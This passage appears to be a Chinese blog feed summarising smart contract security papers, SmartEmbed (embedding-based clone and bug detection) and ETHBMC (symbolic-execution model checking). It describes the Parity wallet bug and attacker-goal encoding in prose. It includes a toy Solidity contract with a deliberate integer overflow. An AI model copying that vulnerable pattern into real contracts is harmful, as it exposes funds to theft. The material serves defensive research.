Contracts)。另一个突出的方向是从运行时故障/违规中恢复,也就是合同的自动修复。在2017年,Magazzeni等人,建议使用AI规划技术来自动修补未对齐的智能合约痕迹。</p><p>混合分析(Hybrid Analyses)。将合同级别和程序级别的方法进行智能合同建模的组合可以帮助减轻高级行为规范和执行细节的精确建模之间的权衡。填补高级分析和低级分析之间的空白。</p><p>共同开发标准(Collaborative Development of Standards.)。已经进行了一些工作来促进智能合约开发中的标准和最佳实践,例如,设计和安全性模式的集合。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>模糊测试</tag>
</tags>
</entry>
<entry>
<title>SmartEmbed: A Tool for Clone and Bug Detection in Smart Contracts through Structural Code Embedding</title>
<link href="/2020/08109cd35d.html"/>
<url>/2020/08109cd35d.html</url>
<content type="html"><![CDATA[<h1 id="smartembed-a-tool-for-clone-and-bug-detection-in-smart-contracts-through-structural-code-embedding"><a class="markdownIt-Anchor" href="#smartembed-a-tool-for-clone-and-bug-detection-in-smart-contracts-through-structural-code-embedding"></a> SmartEmbed: A Tool for Clone and Bug Detection in Smart Contracts through Structural Code Embedding</h1><p>论文题目:(2019-ICSME)<a href="https://ieeexplore.ieee.org/abstract/document/8919164/">SmartEmbed: A Tool for Clone and Bug Detection in Smart Contracts through Structural Code Embedding</a>——通过结构代码嵌入在智能合约中进行克隆和错误检测的工具</p><p>论文引用:Gao Z, Jayasundara V, Jiang L, et al. SmartEmbed: A Tool for Clone and Bug Detection in Smart Contracts through Structural Code Embedding[C]//2019 IEEE International Conference on Software Maintenance and Evolution (ICSME). IEEE, 2019: 394-397.</p><p>代码开源:<a href="https://github.com/beyondacm/SmartEmbed">beyondacm/SmartEmbed</a></p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><h3 id="11-研究背景"><a class="markdownIt-Anchor" href="#11-研究背景"></a> 1.1 研究背景</h3><p>以太坊已成为广泛使用的平台,以实现基于区块链的安全金融和业务交易。但是,以太坊的一个主要问题是其智能合约的安全性。智能合约中许多已确定的错误和漏洞不仅给维护区块链提出了挑战,而且还导致了严重的财务损失。迫切需要更好地帮助开发人员检查智能合约并确保其可靠性。</p><p>近年来,随着分布式分类账(又称区块链)中加密货币的采用和发展,以太坊作为区块链平台越来越受到关注。以太坊平台的核心是智能合约,智能合约是一种计算机程序,可以在满足特定的预定义条件时触发以执行任何任务。以太坊平台的主要关注点是智能合约的安全性,区块链中的智能合约通常涉及价值数百万美元的加密货币(例如DAO1,Parity2等)。此外,与传统软件程序不同,智能合约代码在部署后是不变的。智能合约无法更改,但在智能合约中发现任何安全问题时可能会被杀死。这给区块链维护带来了挑战,并极大地激发了黑客发现和利用智能合约中潜在问题的动力,因此,非常需要在部署之前检查并确保智能合约的健壮性。</p><h3 id="12-相关工作"><a class="markdownIt-Anchor" href="#12-相关工作"></a> 1.2 相关工作</h3><p>许多先前的工作已经研究了智能合约的漏洞检测(bug detection),主要的缺点如下:</p><ul><li>所有这些现有工具都需要人工专家定义的某些错误模式或规范规则。</li><li>编写新规则并构造新的检查器以应对攻击者创建的新错误和漏洞可能太慢且成本太高。</li><li>这些漏洞检测的手段(如符号执行、模糊检测等)资源消耗过大。</li></ul><h3 id="13-主要成果"><a class="markdownIt-Anchor" href="#13-主要成果"></a> 1.3 主要成果</h3><p>本文提出了一个名为SMARTEMBED的Web服务工具,该工具基于深度学习的代码嵌入和相似性检查技术,通过比较以太坊区块链中现有Solidity代码的代码嵌入向量与已知错误之间的相似性,来帮助Solidity开发人员在智能合约中查找重复的合约代码和克隆相关的漏洞。</p><p>以太坊区块链收集的超过22K个Solidity智能合约,发现合约代码的克隆率接近90%,远高于传统软件。将SMARTEMBED应用于这些智能合约,根据我们的小型bug数据库(small bug database),可以准确、有效地识别 194 个与clone相关的错误,准确率达96%。</p><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><h3 id="21-设计思想"><a class="markdownIt-Anchor" href="#21-设计思想"></a> 2.1 设计思想</h3><p>SMARTEMBED的主要思想有两个方面。</p><ol><li>代码嵌入(Code Embedding):利用基本程序分析和许多开源智能合约的可用性,我们通过改编自单词嵌入(word embeddings)的技术,将每个代码元素和漏洞模式(bug pattern),包括它们的词法、句法乃至某些语义信息( lexical syntactical)自动编码为数值向量(numerical vectors)。</li><li>相似性检查(word embeddings):利用智能合约中代表不同粒度级别的各种代码元素的数值向量之间的有效相似性比较,可以检测到彼此相似的克隆以及与已知缺陷相似的错误。</li></ol><p>基于代码嵌入和相似性检查,SMARTEMBED以统一的方法针对两个任务:克隆检测和错误检测。</p><ul><li>对于克隆检测,SMARTEMBED 可以识别类似的智能合约。</li><li>对于错误检测,基于错误数据库,SMARTEMBED可以检测以太坊区块链中现有合约中的错误或由Solidity Developer提供的与数据库中任何已知错误类似的智能合约中的错误。方法包含两个阶段:模型训练阶段和预测阶段</li></ul><h3 id="22-模型训练"><a class="markdownIt-Anchor" href="#22-模型训练"></a> 2.2 模型训练</h3><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412111725.png" alt="image-20200806195045912" /></p><p>在模型训练阶段,主要有4个步骤:</p><ul><li>步骤一:为智能合约源代码构建了自定义的Solidity解析器。<br />解析器为我们收集的数据集中的每个智能合约生成一个抽象语法树(abstract syntax tree,AST),然后根据树节点的类型将解析树序列化为标记流。</li><li>步骤二:规范化器(the normalizer)重新组合标记流(stream of tokens),以消除智能合约之间的不必要差异(例如,停用词,常量或文字的值)。</li><li>步骤三:将输出标记流(The output token streams)嵌入代码的学习模块,并将每个代码片段嵌入到固定维度的数值向量(numerical vector)中。</li><li>步骤四:在代码嵌入学习步骤之后,将所有源代码编码到源代码嵌入矩阵中(source code embedding matrix);同时,我们收集的所有错误陈述都被编码到bug嵌入矩阵(the bug embedding matrix)中。</li></ul><h3 id="23-模型预测"><a class="markdownIt-Anchor" href="#23-模型预测"></a> 2.3 模型预测</h3><p>在预测阶段,通过执行步骤1,2,3并利用学习的嵌入矩阵(embedding vectors),将任何给定的新智能合约转换为嵌入向量。在给定合同的嵌入和收集的数据库中的嵌入之间执行相似性比较(步骤5)。相似阈值用于控制给定合同中的代码片段是否将被视为代码克隆或与克隆相关的错误(步骤5)。</p><h3 id="24-具体步骤"><a class="markdownIt-Anchor" href="#24-具体步骤"></a> 2.4 具体步骤</h3><h4 id="241-solidity解析器parsing"><a class="markdownIt-Anchor" href="#241-solidity解析器parsing"></a> 2.4.1 Solidity解析器(Parsing)</h4><p>SMARTEMBED使用<mark>ANTLR3</mark>和自定义Solidity 程序为每个智能合约生成AST。list1显示了一个智能合约的简单示例在Solidity中定义,取决于树的类型节点,对于合同级别,AST的序列化方式不同和语句级程序元素来捕获结构焦点要素及其周围的信息。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs json">pragma solidity ˆ0.4.15;<br><br>contractOverflow{<br>uintprivater=0;<br>function addValue(uintvalue)returns(bool){<br><span class="hljs-comment">//possibleoverflow</span><br> r+=value;<br>}<br>}<br></code></pre></td></tr></table></figure><p>Listing 1. 一个Solidity程序</p><h5 id="2411-合同级别解析contract-level-parsing"><a class="markdownIt-Anchor" href="#2411-合同级别解析contract-level-parsing"></a> 2.4.1.1 合同级别解析(Contract Level Parsing)</h5><p>通过有序遍历从ASTS中提取所有终端标记,示例代码的合同级别解析结果如下所示:</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs json">pragma solidity ˆversionliteral;<br><br>contract Overflow{<br>uint privater=0;<br>function addValue (uint value) returns(bool)<br>{<br> r +=value;<br>}<br>}<br></code></pre></td></tr></table></figure><h5 id="2412-语句级解析statement-level-parsing"><a class="markdownIt-Anchor" href="#2412-语句级解析statement-level-parsing"></a> 2.4.1.2 语句级解析(Statement Level Parsing)</h5><p>对于语句解析(statement parsing),更多的结构信息(containment and neighbouring))以及一些语义信息(data-flow)被添加到序列中。语句级解析结果如下。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs json">sourceUnit contract Definition contractPart<br>functionDefinition block statement<br>simpleStatement r+=value; <br>function addValue add value(uint value) returns(bool) <br>contract Overflow overflow{ }<br></code></pre></td></tr></table></figure><h4 id="242-规范化normalization"><a class="markdownIt-Anchor" href="#242-规范化normalization"></a> 2.4.2 规范化(Normalization)</h4><p>SMARTEMBED规范化分析序列以删除一些与语义无关的信息;所有简单变量,非必要的标点符号和不同类型的常量都将被替换或删除。以下代码段示例了此步骤的操作:</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs json">uint privater = 0;<br>==><br>uint private SimpeVar = decimalnumber<br></code></pre></td></tr></table></figure><h4 id="243-代码嵌入学习code-embedding-learning"><a class="markdownIt-Anchor" href="#243-代码嵌入学习code-embedding-learning"></a> 2.4.3 代码嵌入学习(Code Embedding Learning)</h4><p>SMARTEMBED通过改编自单词嵌入的技术,将代码元素和bug模式(包括它们的词汇,句法和一些语义信息)嵌入到数字矢量中。选择<a href="https://zhuanlan.zhihu.com/p/32965521">Fasttext</a> 作为代码嵌入算法,因为它的性能与传统word2vec相同或更好。</p><h5 id="2431-标记嵌入token-embedding"><a class="markdownIt-Anchor" href="#2431-标记嵌入token-embedding"></a> 2.4.3.1 标记嵌入(Token Embedding:):</h5><p>将标准化工具为Solidity合同生成的具有结构信息的标准化标记流用作训练语料库(training corpus)。将Fasttext算法改编为训练代码嵌入模型,训练后,训练语料库中的每个标记(包括代表结构信息的标记)都将映射到具有固定维向量的实际值中。</p><h5 id="2432-更高层次的嵌入higher-level-embedding"><a class="markdownIt-Anchor" href="#2432-更高层次的嵌入higher-level-embedding"></a> 2.4.3.2 更高层次的嵌入(Higher Level Embedding)</h5><p>基于每个标记的基本矢量表示,将更高级别代码片段(例如,语句,函数,子合同和合同)的代码嵌入组合在一起。更具体地说,将特定代码片段(a particular code fragment)的代码嵌入定义为其所有组成标记(constituent tokens)的嵌入之和。</p><h4 id="244-嵌入矩阵embedding-matrices"><a class="markdownIt-Anchor" href="#244-嵌入矩阵embedding-matrices"></a> 2.4.4 嵌入矩阵(Embedding Matrices)</h4><p>通过将各个向量堆叠在一起,获得用于克隆检测的源代码嵌入矩阵$ C^{c×d}<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi mathvariant="normal">和</mi><mi mathvariant="normal">用</mi><mi mathvariant="normal">于</mi><mi mathvariant="normal">错</mi><mi mathvariant="normal">误</mi><mi mathvariant="normal">检</mi><mi mathvariant="normal">测</mi><mi mathvariant="normal">的</mi><mi mathvariant="normal">错</mi><mi mathvariant="normal">误</mi><mi mathvariant="normal">语</mi><mi mathvariant="normal">句</mi><mi mathvariant="normal">嵌</mi><mi mathvariant="normal">入</mi><mi mathvariant="normal">矩</mi><mi mathvariant="normal">阵</mi></mrow><annotation encoding="application/x-tex">和用于错误检测的错误语句嵌入矩阵</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;vertical-align:0em;"></span><span class="mord cjk_fallback">和</span><span class="mord cjk_fallback">用</span><span class="mord cjk_fallback">于</span><span class="mord cjk_fallback">错</span><span class="mord cjk_fallback">误</span><span class="mord cjk_fallback">检</span><span class="mord cjk_fallback">测</span><span class="mord cjk_fallback">的</span><span class="mord cjk_fallback">错</span><span class="mord cjk_fallback">误</span><span class="mord cjk_fallback">语</span><span class="mord cjk_fallback">句</span><span class="mord cjk_fallback">嵌</span><span class="mord cjk_fallback">入</span><span class="mord cjk_fallback">矩</span><span class="mord cjk_fallback">阵</span></span></span></span> B^{b×d}$。</p><h5 id="源代码嵌入矩阵source-code-embedding-matrix-ccd"><a class="markdownIt-Anchor" href="#源代码嵌入矩阵source-code-embedding-matrix-ccd"></a> 源代码嵌入矩阵(Source Code Embedding Matrix) <strong>$ C^{c×d}$</strong></h5><ul><li>第一个维度c是合同总数;</li><li>第二维d是我们先前设置的代码嵌入大小。</li><li>第i个元素Ci(i = 1,2,…,c)是第i个合约的向量表示</li></ul><h5 id="bug声明嵌入矩阵bug-statement-embedding-matrix-bbd"><a class="markdownIt-Anchor" href="#bug声明嵌入矩阵bug-statement-embedding-matrix-bbd"></a> Bug声明嵌入矩阵(Bug Statement Embedding Matrix)<strong>$ B^{b×d}$</strong></h5><ul><li>第一维b对应于我们的错误数据库中的错误语句总数,并且矩阵的每一行,即Bi(i = 1,2,…,b)表示针对特定错误语句嵌入的代码。</li></ul><h4 id="245-相似性检查similarity-checking"><a class="markdownIt-Anchor" href="#245-相似性检查similarity-checking"></a> 2.4.5 相似性检查(Similarity Checking:)</h4><p>定义了一个相似性度量,用于克隆检测和错误检测的下游任务。定义:假设C1和C2是两个代码片段,而e1和e2是它们相应的代码嵌入。定义两个代码段之间的语义距离以及相似性,如下所示:</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200829190404.png" alt="image-20200808011231285" /></p><p>给定任意两个代码片段Ci和Cj,如果它们的相似性得分超过特定的相似性阈值δ,则将Ci和Cj视为一个克隆对。</p><h4 id="246-克隆检测和错误检测"><a class="markdownIt-Anchor" href="#246-克隆检测和错误检测"></a> 2.4.6 克隆检测和错误检测</h4><p>克隆检测和Bug检测任务都可以视为查找“相似”代码的问题的变体,具体取决于相似性的定义。</p><ul><li>对于克隆检测,测量智能合约对之间的相似性,如果相似性得分超过克隆的预定义阈值,则将它们识别为克隆。</li><li>对于Bug检测,在给定的合同中搜索与已知错误相似的代码片段,而不是预先定义的错误阈值。</li></ul><h2 id="三-实验评估"><a class="markdownIt-Anchor" href="#三-实验评估"></a> 三、实验评估</h2><p>将SMARTEMBED实施为独立的Web服务,以帮助Solidity开发人员检查其智能合约。</p><h3 id="31-数据采集data-collection"><a class="markdownIt-Anchor" href="#31-数据采集data-collection"></a> 3.1 数据采集(Data Collection)</h3><p>我们使用EtherScan收集了22,275份经过验证的Solidity智能合约,该合约是Ethereum的区块浏览器和分析平台。这些合同包含135,239个分包合同,631,261个函数,大约200万份报表和700万行代码。同时,收集了22个著名的易受攻击的智能合约,并在合约中查明了37条错误语句,这些语句用作SMARTEMBED的错误数据库。</p><h3 id="32-后端模型backend-model"><a class="markdownIt-Anchor" href="#32-后端模型backend-model"></a> 3.2 后端模型(Backend Model.)</h3><p>收集到的合同源代码被输入描述方法的工作流中,输出是代码嵌入,它们被用作相似性检查的后端模型。</p><p>我们将SMARTEMBED与两个专用于克隆检测(扩展为Solidity的DECKARD [9])和错误检测(SmartCheck [3])的著名工具进行了比较。</p><h3 id="33-前端用户界面frontend-user-interface"><a class="markdownIt-Anchor" href="#33-前端用户界面frontend-user-interface"></a> 3.3 前端用户界面(Frontend User Interface.)。</h3><p>在用户界面上,SMARTEMBED提供了一个输入框,供Solidity开发人员提交其源代码。在Solidity开发人员将其源代码提交给服务器后,将对源代码进行解析和规范化,然后通过我们的后端模型将合同和每个语句转换为向量,以进行相似性检查。输出分为两个单独的结果选项卡。</p><p>初始化Web工具</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200829190405.png" alt="1" /></p><p>对于克隆检测结果选项卡,SMARTEMBED返回我们代码库中前5名最相似的克隆合同以及相似性得分,并链接到它们在EtherScan中的位置。</p><p>将智能合约粘贴到文本区域,然后单击“summit”。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200829190406.png" alt="2" /></p><p>对于Bug检测结果,SMARTEMBED突出显示提交的源代码中的错误行,并将错误类型报告给开发人员。</p><p>bug检测结果将显示如下。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200829190407.png" alt="3" /></p><h3 id="34-实验总结"><a class="markdownIt-Anchor" href="#34-实验总结"></a> 3.4 实验总结</h3><p>对于克隆检测,针对22,725个智能合约源代码运行了DECKARD和SMARTEMBED,实验结果表明,两种工具都将大约660万行代码识别为代码克隆,而总行数仅为730万,这意味着克隆的可靠性代码约为90%,远高于传统软件。</p><p>对于漏洞检测,SMARTEMBED可以更有效,更准确地识别以太坊区块链中与克隆相关的漏洞。当相似度阈值设置为0.95时,SMARTEMBED工具会报告202个与克隆相关的错误,手动验证这些候选错误,其中194个被标记为真实错误,而SmartCheck只能检测其中的117个。</p><h2 id="四-总结评论"><a class="markdownIt-Anchor" href="#四-总结评论"></a> 四、总结评论</h2><p>本文介绍了SMARTEMBED,这是一种用于准确高效地检测智能合约中的代码克隆和错误的Web服务工具,能够极大地节省了效率。它开发了一种用于Solidity代码中的代码嵌入技术,并利用相似性检查来搜索满足某些阈值的“相似”代码。该方法针对从以太坊区块链收集的合同和错误数据是自动化的。<br />这是一种轻量级的智能合约漏洞检测工具,不过很依赖于所存储的bug数据库,只能找到已知的合约漏洞,不能自主发现最新的漏洞,这点算是不足。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>ETHBMC: A Bounded Model Checker for Smart Contracts</title>
<link href="/2020/07e753fece.html"/>
<url>/2020/07e753fece.html</url>
<content type="html"><![CDATA[<h1 id="ethbmc-a-bounded-model-checker-for-smart-contracts"><a class="markdownIt-Anchor" href="#ethbmc-a-bounded-model-checker-for-smart-contracts"></a> ETHBMC: A Bounded Model Checker for Smart Contracts</h1><p>论文题目:(2020-USENIX) <a href="https://www.usenix.org/conference/usenixsecurity20/presentation/frank">ETHBMC: A Bounded Model Checker for Smart Contracts</a> ——智能合约的边界模型检查器</p><p>论文引用:Frank J, Aschermann C, Holz T. {ETHBMC}: A Bounded Model Checker for Smart Contracts[C]//29th {USENIX} Security Symposium ({USENIX} Security 20). 2020: 2757-2774.</p><p>本文发表在<a href="https://www.usenix.org/conference/usenixsecurity20/technical-sessions">USENIX Security '20</a>的第8月14日下午的Track 2 Blockchains部分,第一作者是来自位于德国的<strong>波鸿鲁尔大学</strong>(Ruhr-Universität Bochum;RUB)的<a href="https://scholar.google.com/citations?hl=zh-CN&user=VaOyZyoAAAAJ&view_op=list_works&sortby=pubdate">Frank J</a>.,之前的工作也没有跟智能合约特别关联的。</p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>智能合约极大地推动了加密货币的发展,然而其金钱收益的前景吸引来了别有用心之人,导致了骇人听闻的黑客攻击,导致数百万美元的货币损失。为了减少这些攻击的损失,一些强大的静态分析工具(static analysis tools)被开发了出来。本文对最近提出的八种对智能合约进行静态分析的工具进行了研究,并发现它们都无法探测到以太坊生态的所有相关特征:比如缺失精确的内存模型(a precise memory model)和只有少部分支持合约间的分析(inter-contract analysis)。基于以上,本文设计并实现了基于**符号执行(symbolic execution)**的边界模型检查器(a bounded model checker)——ETHBMC,它提供了一种以太坊网络的精确模型。本文通过一系列实验展现了这个EthBMC的功能:</p><ol><li>跟八种上述提到的八种工具进行比较,发现就算一个简单示例(relatively simple toy examples),这些工具也力有未逮。</li><li>本文利用EthBMC截止2018年12月依然活跃的220万个智能合约进行漏洞扫描,自动检测到了<strong>5905个</strong>可以触发漏洞的有效输入,比之前的提出方法多检测出22.8%的输入;其中1989个可以随意摧毁合约,也就是自毁合约(suicidal contracts),而其余的漏洞可以被攻击者利用来任意提取金钱。</li></ol><h2 id="二-知识铺垫"><a class="markdownIt-Anchor" href="#二-知识铺垫"></a> 二、知识铺垫</h2><p>在了解具体实验部分, 首先需要了解一些基础的知识</p><h3 id="21-以太坊虚拟机-ethereum-virtual-machine"><a class="markdownIt-Anchor" href="#21-以太坊虚拟机-ethereum-virtual-machine"></a> 2.1 以太坊虚拟机 Ethereum Virtual Machine</h3><p>以太坊定义了一种专用的、基于堆栈的虚拟机,称为以太坊虚拟机(EVM),用于确定智能合约执行的结果。机器对字节码(bytecode)进行操作,其中每个操作数(operand)将值弹出或推入数据堆栈,每个值具有256位字长。此外,EVM增强了针对加密货币环境量身定制的几种机制:</p><ol><li><strong>World State</strong>:以太坊世界状态是整个系统的状态。它由两部分组成,从帐户地址到帐户状态的映射以及当前块信息。<strong>帐户状态是</strong>一个包含多个信息的元组,例如帐户的当前余额。此外,如果帐户是智能合约,则帐户状态还包含<strong>字段代码</strong>和<strong>存储</strong>。代码字段保存智能合约的代码,而存储是用于在多个合约调用之间保留值的永久性存储器。</li><li>Memory:EVM区分三种不同类型的内存:<ol><li>Storage:该存储是一个持久键值存储,它将256位键映射到256位值。</li><li>Calldata:交易的数据部分用于向合同提供用户输入,这是一个可字节寻址的数据数组(a byte addressable data array),在执行期间不可变。</li><li>Execution Memory:该存储器是易失性字节数组(volatile byte array),仅在整个执行过程中一直保持不变。</li></ol></li></ol><h3 id="22-符号执行与可满足性模理论-symbolic-execution-and-smt-solving"><a class="markdownIt-Anchor" href="#22-符号执行与可满足性模理论-symbolic-execution-and-smt-solving"></a> 2.2 符号执行与可满足性模理论 Symbolic Execution and SMT Solving</h3><p>符号执行的主要思想就是将输入(input)用<strong>符号</strong>来表征而不是具体值,同时将程序变量表征成符号表达式。因此,程序的输出就会被表征成一个程序输入的函数,即fun(input)。在软件测试中,符号执行被用于生成执行路径(execution path)的输入。</p><p>产生符号函数执行fun( <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.0037em;">α</span></span></span></span> ),其中<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.0037em;">α</span></span></span></span> 代表整个输入域,例如32位整数,从而探索程序可以采用的所有可能路径。当到达一个分支(例如,if语句)时,执行被分叉以探索两种可能的路径。为了保持较低的探索状态空间,符号执行程序将程序的当前状态(the current state of the program)以及路径条件(path condition)(例如x <= 3)编码为一阶逻辑公式。使用可满足性模理论(SMT,Satisfiability Modulo Theory)求解器,以检查程序路径是否可行,避免进一步探索不可能的路径。</p><p>执行路径(execution path):一个true和false的序列seq={p0,p1,…,pn}。其中,如果是一个条件语句,那么pi=ture则表示这条条件语句取true,否则取false。<br />执行树(execution tree):一个程序的所有执行路径则可表征成一棵执行树。</p><p>SMT公式以一阶逻辑表示(first-order logic),是命题逻辑(propositional logic)(也称为布尔逻辑)的扩展,它提供了多种不同的理论来阐述问题。SMT求解器通过枚举(enumeration)执行证明:它试图找到约束系统的满意(具体)分布,从而证明可以求解。在对程序的执行进行建模时,此具体分配为程序提供了输入,可用于达到给定状态。当我们另外将故障条件编码为逻辑公式并找到令人满意的分配(即执行和故障条件)时,此具体分配就是程序的输入,触发相应的软件故障。</p><h3 id="23-分析智能合约的挑战"><a class="markdownIt-Anchor" href="#23-分析智能合约的挑战"></a> 2.3 分析智能合约的挑战</h3><p>本文首先通过一系列简单示例来说明在分析智能合约时遇到的常见障碍。</p><h4 id="231-the-keccak256-function"><a class="markdownIt-Anchor" href="#231-the-keccak256-function"></a> 2.3.1 The Keccak256 Function</h4><p>keccak25用于在执行内存区域上计算keccak哈希。该函数可以由keccak256关键字调用。展示了该函数的更“隐藏”用法,其中该指令用于计算内存位置。EVM的存储是可字寻址的存储器,固定大小的数据类型分配有固定的内存插槽。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200901201737.png" alt="image-20200712093728017" /></p><p>在处理动态数据类型时,即在执行期间其大小可能会增加的类型时,我们不知道要分配多少个内存插槽。基于实体的智能合约求助于动态计算内存偏移。当写入映射时(第3行),相应的存储位置将计算为keccak256(k || p),其中k是映射(映射)的键,p是在编译时选择的常数。请注意,如果可以使用此方案生成有效的哈希冲突,则先前的值将被覆盖。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200901201738.png" alt="image-20200712094233265" /></p><h4 id="232-memcopy-like-instructions"><a class="markdownIt-Anchor" href="#232-memcopy-like-instructions"></a> 2.3.2 Memcopy-like Instructions</h4><p>EVM无法直接访问Calldata,它只能对执行内存中的数据进行操作,即复制输入数据。In Listing 3,string是无限制的数据类型,导致EVM利用CALLDATACOPY指令将整个输入复制到执行内存。这与具有固定宽度(例如uint256)的数据类型形成对比,该数据类型可以通过从calldata的普通读取中访问。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200901201739.png" alt="image-20200712094818820" /></p><h4 id="233-inter-contract-communication"><a class="markdownIt-Anchor" href="#233-inter-contract-communication"></a> 2.3.3 Inter-Contract Communication</h4><p>以太坊当前的合约拓扑。大多数合同不是由人部署的,而是由其他合同创建的,使这些合同成为合同内交互的一部分Listin 4中提供了一个简单的示例。在执行Target的过程中,调用了一个library contract 来模拟两个合约之间的简单交互。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200901201740.png" alt="image-20200712095251928" /></p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200901201741.png" alt="image-20200712095227233" /></p><h4 id="234-the-parity-wallet-bug"><a class="markdownIt-Anchor" href="#234-the-parity-wallet-bug"></a> 2.3.4 The Parity Wallet Bug</h4><p>Parity钱包分为两个合同,一个是持有大部分代码库的库合同,另一个是用户部署的客户合同。一旦部署,智能合约就不会改变,因此,在更改(或修订)合约时,必须重新部署并因此偿还整个合约。EVM提供DELEGATECALL指令,该指令用于在执行时使用另一个帐户的代码。这些指令在仍然使用原始帐户上下文和存储的同时切换了要执行的代码。</p><p>如下图5,假设用户Alice要使用Parity钱包库(the Parity wallet library)。她使用存储变量来部署她的客户代码(第15-23行),该存储变量包含库合约的帐户地址(第16行)。稍后调用她的客户合同时,它将delegates给库代码(第22行),转发交易的Calldata(msg.data)。这意味着如果攻击者可以将合同的控制流重定向到自己喜欢的地址,那么他们就有能力任意执行代码(例如提取所有资金)。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200901201742.png" alt="image-20200712200747334" /></p><h2 id="三-设计实现"><a class="markdownIt-Anchor" href="#三-设计实现"></a> 三、设计实现</h2><p>文章中提供了ETHBMC架构的概述,该工具包括三个主要模块,符号执行器(symbolic executor),检测模块( a detection module)和验证模块(a validation module)。 ETHBMC在大约13,000行Rust代码中实现。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412110934.png" alt="image-20200712100024244" /></p><p>(High-level overview of ETHBMC and its inner workings)</p><p>ETHBMC利用其符号执行引擎来探索程序可以到达的可用状态空间:</p><ul><li>在探索过程中,可以随时将达到此状态所需的必要条件(或约束)转换为一阶逻辑。</li><li>探索结束时,即执行终止于停止状态,我们使用其他约束对攻击者的目标进行编码,例如,我们对一个约束进行编码,即在最后执行状态下,攻击者帐户的余额必须高于在第一个状态下的余额。</li><li>利用后端SMT求解器来求解约束系统。SMT求解器通过枚举执行证明:它试图找到约束系统的满意(具体)分配,从而证明可以求解,既达到有效的暂停状态又满足攻击者模型的令人满意的任务证明了合同中的漏洞。</li><li>运行具体的脱机程序执行SMT求解器找到的是智能合约的能触发漏洞的有效输入(即交易)的正确性。</li></ul><h3 id="31-symbolic-executor"><a class="markdownIt-Anchor" href="#31-symbolic-executor"></a> 3.1 Symbolic Executor</h3><p>以广度优先搜索方式探索智能合约,每当Executor需要断言给定代码路径的可满足性时,都会查询后端的SMT求解器(Yices2 )。Executor会探索所有代码路径,直到它们到达停止状态、求解器超时或拒绝该路径。如果在执行过程中遇到循环,则使用循环展开(loop-unrolling),即执行n次循环,然后退出循环,并采用相同的策略来限制 求解深度(因为在具有多个帐户的环境中,合同可能会无限循环地相互调用。</p><h3 id="32-detection-module"><a class="markdownIt-Anchor" href="#32-detection-module"></a> 3.2 Detection Module</h3><p>使用其他路径约束(additional path constraints)对攻击者的目标进行编码,推出了一个附加约束,以指定在执行当前交易后,攻击者帐户的余额必须高于整个分析开始时的余额。当遇到DELEGATECALL或CALLCODE指令时,工具创建了一个附加的hijack状态,在这里我们试图劫持合同的控制流。然后为劫持添加了一个约束,将CALLCODE /DELEGATECAL的目标地址限制为攻击者的帐户地址。如果可以满足此约束条件,则可以重定向控制流(the control<br />flow)。</p><p>标记执行SELFDESTRUCT指令的状态,以检测可被外部攻击者破坏的合同。请注意,如果可以使用SELFDESTRUCT指令从帐户中窃取资金,则ETHBMC会检测到这两种情况。如果我们检测到任何类型的漏洞,就会将相应的状态传递给验证模块。</p><h3 id="33-validation-module"><a class="markdownIt-Anchor" href="#33-validation-module"></a> 3.3 Validation Module</h3><p>在最后一步中,尝试为具有可行攻击路径的每个状态生成有效事务(valid transactions)。我们利用SMT求解器生成触发漏洞所需的交易数据。成功生成攻击数据后,利用go-ethereum 工具套件(尤其是EVM实用程序)以脱机方式模拟攻击,<br />以验证它们的有效性。</p><h2 id="四-实验评估"><a class="markdownIt-Anchor" href="#四-实验评估"></a> 